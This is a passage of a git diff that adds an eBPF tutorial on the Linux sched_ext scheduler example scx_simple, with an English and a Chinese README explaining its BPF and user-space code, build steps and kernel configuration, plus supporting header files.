virtual time calculations. + +**CPU Scheduling Readiness:** When a CPU is ready to schedule, it first checks its local DSQ for tasks. If the local DSQ is empty, it checks the global DSQ. If no tasks are found, `ops.dispatch()` is invoked to populate the local DSQ. After dispatching, if tasks are available in the local DSQ, the CPU executes the first one. If not, it may attempt to consume a task from the global DSQ or go idle. + +This scheduling cycle ensures that tasks are scheduled efficiently while maintaining fairness and responsiveness. By understanding each step, developers can modify or extend scx_simple to implement custom scheduling behaviors that meet specific requirements. + +## Compiling and Running scx_simple + +Getting scx_simple up and running involves setting up the necessary toolchain and configuring the kernel appropriately. Here's how you can compile and execute the example scheduler. + +### Toolchain Dependencies + +Before compiling scx_simple, ensure you have the following tools installed: + +- **clang >= 16.0.0:** Required for compiling BPF programs. GCC is working on BPF support but lacks essential features like BTF type tags necessary for certain functionalities. +- **pahole >= 1.25:** Used to generate BTF from DWARF, crucial for type information in BPF programs. +- **rust >= 1.70.0:** If you're working with Rust-based schedulers, ensure you have the appropriate Rust toolchain version. + +Additionally, tools like `make` are required for building the examples. + +### Kernel Configuration + +To enable and use sched_ext, ensure the following kernel configuration options are set: + +```plaintext +CONFIG_BPF=y +CONFIG_SCHED_CLASS_EXT=y +CONFIG_BPF_SYSCALL=y +CONFIG_BPF_JIT=y +CONFIG_DEBUG_INFO_BTF=y +CONFIG_BPF_JIT_ALWAYS_ON=y +CONFIG_BPF_JIT_DEFAULT_ON=y +CONFIG_PAHOLE_HAS_SPLIT_BTF=y +CONFIG_PAHOLE_HAS_BTF_TAG=y +``` + +These configurations enable the necessary features for BPF scheduling and ensure that sched_ext operates correctly. + +### Building scx_simple + +Navigate to the kernel's `tools/sched_ext/` directory and run: + +```bash +make +``` + +This command compiles the scx_simple scheduler along with its dependencies. + +### Running scx_simple + +Once compiled, execute the user-space program to load and monitor the scheduler: + +```bash +./scx_simple -f +``` + +The `-f` flag enables FIFO scheduling mode. You can also use `-v` for verbose output or `-h` for help. + +As the program runs, it will display the number of tasks queued locally and globally every second: + +```plaintext +local=123 global=456 +local=124 global=457 +... +``` + +### Switching Between sched_ext and CFS + +sched_ext operates alongside the default Completely Fair Scheduler (CFS). You can switch between sched_ext and CFS dynamically. To enable sched_ext, load the BPF scheduler using scx_simple. To disable sched_ext, terminate the scx_simple program, reverting all tasks back to CFS. Additionally, using SysRq key sequences like `SysRq-S` can help manage the scheduler's state and trigger debug dumps with `SysRq-D`. + +## Summary and Next Steps + +In this tutorial, we've introduced the **sched_ext** scheduler class and walked through a minimal example, **scx_simple**, demonstrating how to define custom scheduling behaviors using eBPF programs. We've covered the architecture, key concepts like DSQs and virtual time, and provided step-by-step instructions for compiling and running the scheduler. + +By mastering scx_simple, you're well-equipped to design and implement more sophisticated scheduling policies tailored to your specific requirements. Whether you're optimizing for performance, fairness, or specific workload characteristics, sched_ext and eBPF offer the flexibility and power to achieve your goals. + +> Ready to take your eBPF skills to the next level? Dive deeper into our tutorials and explore more examples by visiting our [tutorial repository](https://github.com/eunomia-bpf/bpf-developer-tutorial) or our [website](https://eunomia.dev/tutorials/). + +## References + +- **sched_ext Repository:** [https://github.com/sched-ext/scx](https://github.com/sched-ext/scx) +- **Linux Kernel Documentation:** [Scheduler Ext Documentation](https://www.kernel.org/doc/html/next/scheduler/sched-ext.html) +- **Kernel Source Tree:** [Linux Kernel sched_ext Tools](https://github.com/torvalds/linux/tree/master/tools/sched_ext) +- **eBPF Official Documentation:** [https://docs.ebpf.io/](https://docs.ebpf.io/) +- **libbpf Documentation:** [https://github.com/libbpf/libbpf](https://github.com/libbpf/libbpf) + +Feel free to explore these resources to expand your understanding and continue your journey into advanced eBPF programming! diff --git a/src/44-scx-simple/README.zh.md b/src/44-scx-simple/README.zh.md new file mode 100644 index 00000000..b4f6beba --- /dev/null +++ b/src/44-scx-simple/README.zh.md @@ -0,0 +1,431 @@ +# eBPF 教程:BPF 调度器入门 + +欢迎来到我们深入探讨 eBPF 世界的教程,本教程将重点介绍 BPF 调度器!如果你希望将 eBPF 知识扩展到基础之外,你来对地方了。在本教程中,我们将探索 **scx_simple 调度器**,这是 Linux 内核版本 `6.12` 中引入的 sched_ext 调度类的一个最小示例。我们将带你了解其架构,如何利用 BPF 程序定义调度行为,并指导你编译和运行示例。到最后,你将对如何使用 eBPF 创建和管理高级调度策略有一个坚实的理解。 + +## 理解可扩展的 BPF 调度器 + +本教程的核心是 **sched_ext** 调度类。与传统调度器不同,sched_ext 允许通过一组 BPF 程序动态定义其行为,使其高度灵活和可定制。这意味着你可以在 sched_ext 之上实现任何调度算法,量身定制以满足你的特定需求。 + +### sched_ext 的关键特性 + +- **灵活的调度算法:** 通过编写 BPF 程序实现任何调度策略。 +- **动态 CPU 分组:** BPF 调度器可以根据需要分组 CPU,无需在唤醒时将任务绑定到特定 CPU。 +- **运行时控制:** 可在不重启的情况下即时启用或禁用 BPF 调度器。 +- **系统完整性:** 即使 BPF 调度器遇到错误,系统也会优雅地回退到默认调度行为。 +- **调试支持:** 通过 `sched_ext_dump` 跟踪点和 SysRq 键序列提供全面的调试信息。 + +凭借这些特性,sched_ext 为实验和部署高级调度策略提供了坚实的基础。 + +## 介绍 scx_simple:一个最小的 sched_ext 调度器 + +**scx_simple** 调度器是 Linux 工具中 sched_ext 调度器的一个简明示例。它设计简单易懂,并为更复杂的调度策略提供了基础。scx_simple 可以在两种模式下运行: + +1. **全局加权虚拟时间 (vtime) 模式:** 根据任务的虚拟时间优先级排序,实现不同工作负载之间的公平调度。 +2. **FIFO(先进先出)模式:** 基于简单队列的调度,任务按照到达顺序执行。 + +### 用例和适用性 + +scx_simple 在具有单插槽 CPU 和统一 L3 缓存拓扑的系统上尤其有效。虽然全局 FIFO 模式可以高效处理许多工作负载,但需要注意的是,饱和线程可能会压倒较不活跃的线程。因此,scx_simple 最适合在简单的调度策略能够满足性能和公平性要求的环境中使用。 + +### 生产就绪性 + +尽管 scx_simple 功能简洁,但在合适的条件下可以部署到生产环境中: + +- **硬件约束:** 最适用于具有单插槽 CPU 和统一缓存架构的系统。 +- **工作负载特性:** 适用于不需要复杂调度策略且可以受益于简单 FIFO 或加权 vtime 调度的工作负载。 + +## 代码深入:内核和用户空间分析 + +让我们深入探讨 scx_simple 在内核和用户空间中的实现。我们将首先展示完整的代码片段,然后分解其功能。 + +### 内核端实现 + +```c +#include + +char _license[] SEC("license") = "GPL"; + +const volatile bool fifo_sched; + +static u64 vtime_now; +UEI_DEFINE(uei); + +/* + * 内置 DSQ 如 SCX_DSQ_GLOBAL 不能用作优先级队列 + * (意味着,不能用 scx_bpf_dispatch_vtime() 分派)。因此,我们 + * 创建一个 ID 为 0 的单独 DSQ 来分派和消费。如果 scx_simple + * 只支持全局 FIFO 调度,那么我们可以直接使用 SCX_DSQ_GLOBAL。 + */ +#define SHARED_DSQ 0 + +struct { + __uint(type, BPF_MAP_TYPE_PERCPU_ARRAY); + __uint(key_size, sizeof(u32)); + __uint(value_size, sizeof(u64)); + __uint(max_entries, 2); /* [local, global] */ +} stats SEC(".maps"); + +static void stat_inc(u32 idx) +{ + u64 *cnt_p = bpf_map_lookup_elem(&stats, &idx); + if (cnt_p) + (*cnt_p)++; +} + +static inline bool vtime_before(u64 a, u64 b) +{ + return (s64)(a - b) < 0; +} + +s32 BPF_STRUCT_OPS(simple_select_cpu, struct task_struct *p, s32 prev_cpu, u64 wake_flags) +{ + bool is_idle = false; + s32 cpu; + + cpu = scx_bpf_select_cpu_dfl(p, prev_cpu, wake_flags, &is_idle); + if (is_idle) { + stat_inc(0); /* 统计本地队列 */ + scx_bpf_dispatch(p, SCX_DSQ_LOCAL, SCX_SLICE_DFL, 0); + } + + return cpu; +} + +void BPF_STRUCT_OPS(simple_enqueue, struct task_struct *p, u64 enq_flags) +{ + stat_inc(1); /* 统计全局队列 */ + + if (fifo_sched) { + scx_bpf_dispatch(p, SHARED_DSQ, SCX_SLICE_DFL, enq_flags); + } else { + u64 vtime = p->scx.dsq_vtime; + + /* + * 限制空闲任务可积累的预算量为一个切片。 + */ + if (vtime_before(vtime, vtime_now - SCX_SLICE_DFL)) + vtime = vtime_now - SCX_SLICE_DFL; + + scx_bpf_dispatch_vtime(p, SHARED_DSQ, SCX_SLICE_DFL, vtime, + enq_flags); + } +} + +void BPF_STRUCT_OPS(simple_dispatch, s32 cpu, struct task_struct *prev) +{ + scx_bpf_consume(SHARED_DSQ); +} + +void BPF_STRUCT_OPS(simple_running, struct task_struct *p) +{ + if (fifo_sched) + return; + + /* + * 全局 vtime 随着任务开始执行而总是向前推进。测试和更新可以 + * 从多个 CPU 并发执行,因此存在竞争。如果有错误,应当被 + * 限制并且是临时的。让我们接受它。 + */ + if (vtime_before(vtime_now, p->scx.dsq_vtime)) + vtime_now = p->scx.dsq_vtime; +} + +void BPF_STRUCT_OPS(simple_stopping, struct task_struct *p, bool runnable) +{ + if (fifo_sched) + return; + + /* + * 按照权重和费用的倒数缩放执行时间。 + * + * 注意,默认的让出实现通过将 @p->scx.slice 设置为零来让出, + * 以下操作将会将让出的任务视为已消耗所有切片。如果这对 + * 让出任务的惩罚过大,请通过显式时间戳来确定执行时间, + * 而不是依赖于 @p->scx.slice。 + */ + p->scx.dsq_vtime += (SCX_SLICE_DFL - p->scx.slice) * 100 / p->scx.weight; +} + +void BPF_STRUCT_OPS(simple_enable, struct task_struct *p) +{ + p->scx.dsq_vtime = vtime_now; +} + +s32 BPF_STRUCT_OPS_SLEEPABLE(simple_init) +{ + return scx_bpf_create_dsq(SHARED_DSQ, -1); +} + +void BPF_STRUCT_OPS(simple_exit, struct scx_exit_info *ei) +{ + UEI_RECORD(uei, ei); +} + +SCX_OPS_DEFINE(simple_ops, + .select_cpu = (void *)simple_select_cpu, + .enqueue = (void *)simple_enqueue, + .dispatch = (void *)simple_dispatch, + .running = (void *)simple_running, + .stopping = (void *)simple_stopping, + .enable = (void *)simple_enable, + .init = (void *)simple_init, + .exit = (void *)simple_exit, + .name = "simple"); +``` + +#### 内核端分解 + +scx_simple 的内核端实现定义了如何选择、入队、分派和管理任务。以下是高层次的概述: + +1. **初始化和许可:** + - 调度器的许可证为 GPL。 + - 全局变量 `fifo_sched` 决定调度模式(FIFO 或加权 vtime)。 + +2. **分派队列(DSQ)管理:** + - 创建一个共享的 DSQ(`SHARED_DSQ`,ID 为 0)用于任务分派。 + - 使用 `stats` 映射跟踪本地和全局队列中的任务数量。 + +3. **CPU 选择 (`simple_select_cpu`):** + - 为唤醒任务选择 CPU。 + - 如果选择的 CPU 处于空闲状态,任务将立即分派到本地 DSQ。 + +4. **任务入队 (`simple_enqueue`):** + - 根据 `fifo_sched` 标志,将任务分派到共享 DSQ 的 FIFO 模式或基于虚拟时间的优先级队列。 + - 虚拟时间 (`vtime`) 通过考虑任务执行时间和权重,确保公平调度。 + +5. **任务分派 (`simple_dispatch`):** + - 从共享 DSQ 消费任务并将其分配给 CPU。 + +6. **运行和停止任务 (`simple_running` & `simple_stopping`):** + - 管理任务的虚拟时间进度,确保调度决策的公平和平衡。 + +7. **启用和退出:** + - 处理调度器的启用,并记录退出信息以便调试。 + +这种模块化结构使得 scx_simple 既简单又有效,提供了一个清晰的示例,展示如何使用 eBPF 实现自定义调度策略。 + +### 用户空间实现 + +```c +static void read_stats(struct scx_simple *skel, __u64 *stats) +{ + int nr_cpus = libbpf_num_possible_cpus(); + __u64 cnts[2][nr_cpus]; + __u32 idx; + + memset(stats, 0, sizeof(stats[0]) * 2); + + for (idx = 0; idx < 2; idx++) { + int ret, cpu; + + ret = bpf_map_lookup_elem(bpf_map__fd(skel->maps.stats), + &idx, cnts[idx]); + if (ret < 0) + continue; + for (cpu = 0; cpu < nr_cpus; cpu++) + stats[idx] += cnts[idx][cpu]; + } +} + +int main(int argc, char **argv) +{ + struct scx_simple *skel; + struct bpf_link *link; + __u32 opt; + __u64 ecode; + + libbpf_set_print(libbpf_print_fn); + signal(SIGINT, sigint_handler); + signal(SIGTERM, sigint_handler); +restart: + skel = SCX_OPS_OPEN(simple_ops, scx_simple); + + while ((opt = getopt(argc, argv, "fvh")) != -1) { + switch (opt) { + case 'f': + skel->rodata->fifo_sched = true; + break; + case 'v': + verbose = true; + break; + default: + fprintf(stderr, help_fmt, basename(argv[0])); + return opt != 'h'; + } + } + + SCX_OPS_LOAD(skel, simple_ops, scx_simple, uei); + link = SCX_OPS_ATTACH(skel, simple_ops, scx_simple); + + while (!exit_req && !UEI_EXITED(skel, uei)) { + __u64 stats[2]; + + read_stats(skel, stats); + printf("local=%llu global=%llu\n", stats[0], stats[1]); + fflush(stdout); + sleep(1); + } + + bpf_link__destroy(link); + ecode = UEI_REPORT(skel, uei); + scx_simple__destroy(skel); + + if (UEI_ECODE_RESTART(ecode)) + goto restart; + return 0; +} +``` + +#### 用户空间分解 + +用户空间组件负责与 BPF 调度器交互,管理其生命周期,并监控其性能。`read_stats` 函数通过读取 BPF 映射中的本地和全局队列任务数量来收集统计数据,并跨所有 CPU 聚合这些统计数据以进行报告。 + +在 `main` 函数中,程序初始化 libbpf,处理信号中断,并打开 scx_simple BPF 骨架。它处理命令行选项以切换 FIFO 调度和详细模式,加载 BPF 程序,并将其附加到调度器。监控循环每秒连续读取并打印调度统计数据,提供调度器行为的实时洞察。终止时,程序通过销毁 BPF 链接并根据退出代码处理潜在的重启来清理资源。 + +这个用户空间程序提供了一个简洁的接口,用于监控和控制 scx_simple 调度器,使得更容易实时理解其行为。 + +## 关键概念深入 + +为了充分理解 scx_simple 的运行机制,让我们探讨一些基础概念和机制: + +### 分派队列(DSQs) + +DSQs 是 sched_ext 运行的核心,充当任务在被分派到 CPU 之前的缓冲区。它们可以根据虚拟时间作为 FIFO 队列或优先级队列运行。 + +- **本地 DSQs (`SCX_DSQ_LOCAL`):** 每个 CPU 都有自己的本地 DSQ,确保任务可以高效地分派和消费,而不会发生争用。 +- **全局 DSQ (`SCX_DSQ_GLOBAL`):** 一个共享队列,来自所有 CPU 的任务可以被排队,当本地队列为空时提供回退。 +- **自定义 DSQs:** 开发者可以使用 `scx_bpf_create_dsq()` 创建额外的 DSQs,以满足更专业的调度需求。 + +### 虚拟时间(vtime) + +虚拟时间是一种确保调度公平性的机制,通过跟踪任务相对于其权重消耗了多少时间来实现。在 scx_simple 的加权 vtime 模式下,权重较高的任务消耗虚拟时间的速度较慢,允许权重较低的任务更频繁地运行。这种方法基于预定义的权重平衡任务执行,确保没有单个任务垄断 CPU 资源。 + +### 调度周期 + +理解调度周期对于修改或扩展 scx_simple 至关重要。以下步骤详细说明了唤醒任务的调度和执行过程: + +1. **任务唤醒和 CPU 选择:** + - 当一个任务被唤醒时,首先调用 `ops.select_cpu()`。 + - 该函数有两个目的: + - **CPU 选择优化提示:** 提供建议的 CPU 供任务运行。虽然这是一个优化提示而非绑定,但如果 `ops.select_cpu()` 返回的 CPU 与任务最终运行的 CPU 匹配,可以带来性能提升。 + - **唤醒空闲 CPU:** 如果选择的 CPU 处于空闲状态,`ops.select_cpu()` 可以唤醒它,为执行任务做好准备。 + - 注意:如果 CPU 选择无效(例如,超出任务允许的 CPU 掩码),调度器核心将忽略该选择。 + +2. **从 `ops.select_cpu()` 立即分派:** + - 任务可以通过调用 `scx_bpf_dispatch()` 直接从 `ops.select_cpu()` 分派到分派队列(DSQ)。 + - 如果分派到 `SCX_DSQ_LOCAL`,任务将被放入 `ops.select_cpu()` 返回的 CPU 的本地 DSQ。 + - 直接从 `ops.select_cpu()` 分派将导致跳过 `ops.enqueue()` 回调,可能减少调度延迟。 + +3. **任务入队 (`ops.enqueue()`):** + - 如果任务未在上一步被分派,`ops.enqueue()` 将被调用。 + - `ops.enqueue()` 可以做出以下几种决定: + - **立即分派:** 通过调用 `scx_bpf_dispatch()` 将任务分派到全局 DSQ(`SCX_DSQ_GLOBAL`)、本地 DSQ(`SCX_DSQ_LOCAL`)或自定义 DSQ。 + - **在 BPF 端排队:** 在 BPF 程序中排队任务,以便进行自定义调度逻辑。 + +4. **CPU 调度准备:** + - 当 CPU 准备好调度时,它按照以下顺序进行: + - **检查本地 DSQ:** CPU 首先检查其本地 DSQ 是否有任务。 + - **检查全局 DSQ:** 如果本地 DSQ 为空,则检查全局 DSQ。 + - **调用 `ops.dispatch()`:** 如果仍然没有找到任务,调用 `ops.dispatch()` 来填充本地 DSQ。 + - 在 `ops.dispatch()` 内,可以使用以下函数: + - `scx_bpf_dispatch()`:将任务调度到任何 DSQ(本地、全局或自定义)。注意,该函数目前不能在持有 BPF 锁时调用。 + - `scx_bpf_consume()`:将任务从指定的非本地 DSQ 转移到分派 DSQ。该函数不能在持有任何 BPF 锁时调用,并且会在尝试消费指定 DSQ 之前刷新待分派的任务。 + +5. **任务执行决策:** + - `ops.dispatch()` 返回后,如果本地 DSQ 中有任务,CPU 将运行第一个任务。 + - 如果本地 DSQ 仍为空,CPU 将执行以下步骤: + - **消费全局 DSQ:** 尝试使用 `scx_bpf_consume()` 从全局 DSQ 消费任务。如果成功,执行该任务。 + - **重试分派:** 如果 `ops.dispatch()` 已经分派了任何任务,CPU 将重试检查本地 DSQ。 + - **执行前一个任务:** 如果前一个任务是 SCX 任务且仍然可运行,CPU 将继续执行它(参见 `SCX_OPS_ENQ_LAST`)。 + - **进入空闲状态:** 如果没有可用任务,CPU 将进入空闲状态。 + +这种调度周期确保任务高效调度,同时保持公平性和响应性。通过理解每一步,开发者可以修改或扩展 scx_simple,以实现满足特定需求的自定义调度行为。 + +## 编译和运行 scx_simple + +要运行 scx_simple,需要设置必要的工具链并正确配置内核。以下是编译和执行示例调度器的方法。 + +### 工具链依赖 + +在编译 scx_simple 之前,请确保已安装以下工具: + +1. **clang >= 16.0.0** + 编译 BPF 程序所需。虽然 GCC 正在开发 BPF 支持,但它缺乏某些必要功能,如 BTF 类型标签。 + +2. **pahole >= 1.25** + 用于从 DWARF 生成 BTF,对于 BPF 程序中的类型信息至关重要。 + +3. **rust >= 1.70.0** + 如果你正在使用基于 Rust 的调度器,请确保拥有适当的 Rust 工具链版本。 + +此外,还需要 `make` 等工具来构建示例。 + +### 内核配置 + +要启用和使用 sched_ext,请确保设置了以下内核配置选项: + +```plaintext +CONFIG_BPF=y +CONFIG_SCHED_CLASS_EXT=y +CONFIG_BPF_SYSCALL=y +CONFIG_BPF_JIT=y +CONFIG_DEBUG_INFO_BTF=y +CONFIG_BPF_JIT_ALWAYS_ON=y +CONFIG_BPF_JIT_DEFAULT_ON=y +CONFIG_PAHOLE_HAS_SPLIT_BTF=y +CONFIG_PAHOLE_HAS_BTF_TAG=y +``` + +这些配置启用了 BPF 调度所需的功能,并确保 sched_ext 正常运行。 + +### 构建 scx_simple + +导航到内核的 `tools/sched_ext/` 目录并运行: + +```bash +make +``` + +此命令将编译 scx_simple 调度器及其依赖项。 + +### 运行 scx_simple + +编译完成后,可以执行用户空间程序来加载和监控调度器: + +```bash +./scx_simple -f +``` + +`-f` 标志启用 FIFO 调度模式。你还可以使用 `-v` 进行详细输出,或使用 `-h` 获取帮助。当程序运行时,它将每秒显示本地和全局队列中的任务数量: + +```plaintext +local=123 global=456 +local=124 global=457 +... +``` + +### 在 sched_ext 和 CFS 之间切换 + +sched_ext 与默认的完全公平调度器(CFS)并行运行。你可以通过加载或卸载 scx_simple 程序动态切换 sched_ext 和 CFS。 + +- **启用 sched_ext:** 使用 scx_simple 加载 BPF 调度器。 +- **禁用 sched_ext:** 终止 scx_simple 程序,将所有任务恢复到 CFS。 + +此外,使用 SysRq 键序列如 `SysRq-S` 可以帮助管理调度器的状态,并使用 `SysRq-D` 触发调试转储。 + +## 总结与下一步 + +在本教程中,我们介绍了 **sched_ext** 调度类,并通过一个最小示例 **scx_simple** 展示了如何使用 eBPF 程序定义自定义调度行为。我们涵盖了架构、关键概念如 DSQs 和虚拟时间,并提供了编译和运行调度器的分步说明。 + +掌握 scx_simple 后,你将具备设计和实现更复杂调度策略的能力,以满足特定需求。无论你是优化性能、公平性,还是针对特定工作负载特性,sched_ext 和 eBPF 都提供了实现目标所需的灵活性和强大功能。 + +> 准备好将你的 eBPF 技能提升到新的水平了吗?深入探索我们的教程并通过访问我们的 [教程仓库 https://github.com/eunomia-bpf/bpf-developer-tutorial](https://github.com/eunomia-bpf/bpf-developer-tutorial) 或 [网站 https://eunomia.dev/tutorials/](https://eunomia.dev/tutorials/) 探索更多示例。 + +## 参考资料 + +- **sched_ext 仓库:** [https://github.com/sched-ext/scx](https://github.com/sched-ext/scx) +- **Linux 内核文档:** [Scheduler Ext Documentation](https://www.kernel.org/doc/html/next/scheduler/sched-ext.html) +- **内核源代码树:** [Linux Kernel sched_ext Tools](https://github.com/torvalds/linux/tree/master/tools/sched_ext) +- **eBPF 官方文档:** [https://docs.ebpf.io/](https://docs.ebpf.io/) +- **libbpf 文档:** [https://github.com/libbpf/libbpf](https://github.com/libbpf/libbpf) + diff --git a/src/44-scx-simple/include/bpf-compat/gnu/stubs.h b/src/44-scx-simple/include/bpf-compat/gnu/stubs.h new file mode 100644 index 00000000..ad7d139c --- /dev/null +++ b/src/44-scx-simple/include/bpf-compat/gnu/stubs.h @@ -0,0 +1,11 @@ +/* + * Dummy gnu/stubs.h. clang can end up including /usr/include/gnu/stubs.h when + * compiling BPF files although its content doesn't play any role. The file in + * turn includes stubs-64.h or stubs-32.h depending on whether __x86_64__ is + * defined. When compiling a BPF source, __x86_64__ isn't set and thus + * stubs-32.h is selected. However, the file is not there if the system doesn't + * have 32bit glibc devel package installed leading to a build failure. + * + * The problem is worked around by making this file available in the include + * search paths before the system one when building BPF. + */ diff --git a/src/44-scx-simple/include/scx/common.bpf.h b/src/44-scx-simple/include/scx/common.bpf.h new file mode 100644 index 00000000..225f61f9 --- /dev/null +++ b/src/44-scx-simple/include/scx/common.bpf.h @@ -0,0 +1,427 @@ +/* SPDX-License-Identifier: GPL-2.0 */ +/* + * Copyright (c) 2022 Meta Platforms, Inc. and affiliates. + * Copyright (c) 2022 Tejun Heo + * Copyright (c) 2022 David Vernet + */ +#ifndef __SCX_COMMON_BPF_H +#define __SCX_COMMON_BPF_H + +#ifdef LSP +#define __bpf__ +#include "../vmlinux/vmlinux.h" +#else +#include "vmlinux.h" +#endif + +#include +#include +#include +#include "user_exit_info.h" + +#define PF_WQ_WORKER 0x00000020 /* I'm a workqueue worker */ +#define PF_KTHREAD 0x00200000 /* I am a kernel thread */ +#define PF_EXITING 0x00000004 +#define CLOCK_MONOTONIC 1 + +/* + * Earlier versions of clang/pahole lost upper 32bits in 64bit enums which can + * lead to really confusing misbehaviors. Let's trigger a build failure. + */ +static inline void ___vmlinux_h_sanity_check___(void) +{ + _Static_assert(SCX_DSQ_FLAG_BUILTIN, + "bpftool generated vmlinux.h is missing high bits for 64bit enums, upgrade clang and pahole"); +} + +s32 scx_bpf_create_dsq(u64 dsq_id, s32 node) __ksym; +s32 scx_bpf_select_cpu_dfl(struct task_struct *p, s32 prev_cpu, u64 wake_flags, bool *is_idle) __ksym; +void scx_bpf_dispatch(struct task_struct *p, u64 dsq_id, u64 slice, u64 enq_flags) __ksym; +void scx_bpf_dispatch_vtime(struct task_struct *p, u64 dsq_id, u64 slice, u64 vtime, u64 enq_flags) __ksym; +u32 scx_bpf_dispatch_nr_slots(void) __ksym; +void scx_bpf_dispatch_cancel(void) __ksym; +bool scx_bpf_consume(u64 dsq_id) __ksym; +void scx_bpf_dispatch_from_dsq_set_slice(struct bpf_iter_scx_dsq *it__iter, u64 slice) __ksym; +void scx_bpf_dispatch_from_dsq_set_vtime(struct bpf_iter_scx_dsq *it__iter, u64 vtime) __ksym; +bool scx_bpf_dispatch_from_dsq(struct bpf_iter_scx_dsq *it__iter, struct task_struct *p, u64 dsq_id, u64 enq_flags) __ksym __weak; +bool scx_bpf_dispatch_vtime_from_dsq(struct bpf_iter_scx_dsq *it__iter, struct task_struct *p, u64 dsq_id, u64 enq_flags) __ksym __weak; +u32 scx_bpf_reenqueue_local(void) __ksym; +void scx_bpf_kick_cpu(s32 cpu, u64 flags) __ksym; +s32 scx_bpf_dsq_nr_queued(u64 dsq_id) __ksym; +void scx_bpf_destroy_dsq(u64 dsq_id) __ksym; +int bpf_iter_scx_dsq_new(struct bpf_iter_scx_dsq *it, u64 dsq_id, u64 flags) __ksym __weak; +struct task_struct *bpf_iter_scx_dsq_next(struct bpf_iter_scx_dsq *it) __ksym __weak; +void bpf_iter_scx_dsq_destroy(struct bpf_iter_scx_dsq *it) __ksym __weak; +void scx_bpf_exit_bstr(s64 exit_code, char *fmt, unsigned long long *data, u32 data__sz) __ksym __weak; +void scx_bpf_error_bstr(char *fmt, unsigned long long *data, u32 data_len) __ksym; +void scx_bpf_dump_bstr(char *fmt, unsigned long long *data, u32 data_len) __ksym __weak; +u32 scx_bpf_cpuperf_cap(s32 cpu) __ksym __weak; +u32 scx_bpf_cpuperf_cur(s32 cpu) __ksym __weak; +void scx_bpf_cpuperf_set(s32 cpu, u32 perf) __ksym __weak; +u32 scx_bpf_nr_cpu_ids(void) __ksym __weak; +const struct cpumask *scx_bpf_get_possible_cpumask(void) __ksym __weak; +const struct cpumask *scx_bpf_get_online_cpumask(void) __ksym __weak; +void scx_bpf_put_cpumask(const struct cpumask *cpumask) __ksym __weak; +const struct cpumask *scx_bpf_get_idle_cpumask(void) __ksym; +const struct cpumask *scx_bpf_get_idle_smtmask(void) __ksym; +void scx_bpf_put_idle_cpumask(const struct cpumask *cpumask) __ksym; +bool scx_bpf_test_and_clear_cpu_idle(s32 cpu) __ksym; +s32 scx_bpf_pick_idle_cpu(const cpumask_t *cpus_allowed, u64 flags) __ksym; +s32 scx_bpf_pick_any_cpu(const cpumask_t *cpus_allowed, u64 flags) __ksym; +bool scx_bpf_task_running(const struct task_struct *p) __ksym; +s32 scx_bpf_task_cpu(const struct task_struct *p) __ksym; +struct rq *scx_bpf_cpu_rq(s32 cpu) __ksym; +struct cgroup *scx_bpf_task_cgroup(struct task_struct *p) __ksym; + +/* + * Use the following as @it__iter when calling + * scx_bpf_dispatch[_vtime]_from_dsq() from within bpf_for_each() loops. + */ +#define BPF_FOR_EACH_ITER (&___it) + +static inline __attribute__((format(printf, 1, 2))) +void ___scx_bpf_bstr_format_checker(const char *fmt, ...) {} + +/* + * Helper macro for initializing the fmt and variadic argument inputs to both + * bstr exit kfuncs. Callers to this function should use ___fmt and ___param to + * refer to the initialized list of inputs to the bstr kfunc. + */ +#define scx_bpf_bstr_preamble(fmt, args...) \ + static char ___fmt[] = fmt; \ + /* \ + * Note that __param[] must have at least one \ + * element to keep the verifier happy. \ + */ \ + unsigned long long ___param[___bpf_narg(args) ?: 1] = {}; \ + \ + _Pragma("GCC diagnostic push") \ + _Pragma("GCC diagnostic ignored \"-Wint-conversion\"") \ + ___bpf_fill(___param, args); \ + _Pragma("GCC diagnostic pop") \ + +/* + * scx_bpf_exit() wraps the scx_bpf_exit_bstr() kfunc with variadic arguments + * instead of an array of u64. Using this macro will cause the scheduler to + * exit cleanly with the specified exit code being passed to user space. + */ +#define scx_bpf_exit(code, fmt, args...) \ +({ \ + scx_bpf_bstr_preamble(fmt, args) \ + scx_bpf_exit_bstr(code, ___fmt, ___param, sizeof(___param)); \ + ___scx_bpf_bstr_format_checker(fmt, ##args); \ +}) + +/* + * scx_bpf_error() wraps the scx_bpf_error_bstr() kfunc with variadic arguments + * instead of an array of u64. Invoking this macro will cause the scheduler to + * exit in an erroneous state, with diagnostic information being passed to the + * user. + */ +#define scx_bpf_error(fmt, args...) \ +({ \ + scx_bpf_bstr_preamble(fmt, args) \ + scx_bpf_error_bstr(___fmt, ___param, sizeof(___param)); \ + ___scx_bpf_bstr_format_checker(fmt, ##args); \ +}) + +/* + * scx_bpf_dump() wraps the scx_bpf_dump_bstr() kfunc with variadic arguments + * instead of an array of u64. To be used from ops.dump() and friends. + */ +#define scx_bpf_dump(fmt, args...) \ +({ \ + scx_bpf_bstr_preamble(fmt, args) \ + scx_bpf_dump_bstr(___fmt, ___param, sizeof(___param)); \ + ___scx_bpf_bstr_format_checker(fmt, ##args); \ +}) + +#define BPF_STRUCT_OPS(name, args...) \ +SEC("struct_ops/"#name) \ +BPF_PROG(name, ##args) + +#define BPF_STRUCT_OPS_SLEEPABLE(name, args...) \ +SEC("struct_ops.s/"#name) \ +BPF_PROG(name, ##args) + +/** + * RESIZABLE_ARRAY - Generates annotations for an array that may be resized + * @elfsec: the data section of the BPF program in which to place the array + * @arr: the name of the array + * + * libbpf has an API for setting map value sizes. Since data sections (i.e. + * bss, data, rodata) themselves are maps, a data section can be resized. If + * a data section has an array as its last element, the BTF info for that + * array will be adjusted so that length of the array is extended to meet the + * new length of the data section. This macro annotates an array to have an + * element count of one with the assumption that this array can be resized + * within the userspace program. It also annotates the section specifier so + * this array exists in a custom sub data section which can be resized + * independently. + * + * See RESIZE_ARRAY() for the userspace convenience macro for resizing an + * array declared with RESIZABLE_ARRAY(). + */ +#define RESIZABLE_ARRAY(elfsec, arr) arr[1] SEC("."#elfsec"."#arr) + +/** + * MEMBER_VPTR - Obtain the verified pointer to a struct or array member + * @base: struct or array to index + * @member: dereferenced member (e.g. .field, [idx0][idx1], .field[idx0] ...) + * + * The verifier often gets confused by the instruction sequence the compiler + * generates for indexing struct fields or arrays. This macro forces the + * compiler to generate a code sequence which first calculates the byte offset, + * checks it against the struct or array size and add that byte offset to + * generate the pointer to the member to help the verifier. + * + * Ideally, we want to abort if the calculated offset is out-of-bounds. However, + * BPF currently doesn't support abort, so evaluate to %NULL instead. The caller + * must check for %NULL and take appropriate action to appease the verifier. To + * avoid confusing the verifier, it's best to check for %NULL and dereference + * immediately. + * + * vptr = MEMBER_VPTR(my_array, [i][j]); + * if (!vptr) + * return error; + * *vptr = new_value; + * + * sizeof(@base) should 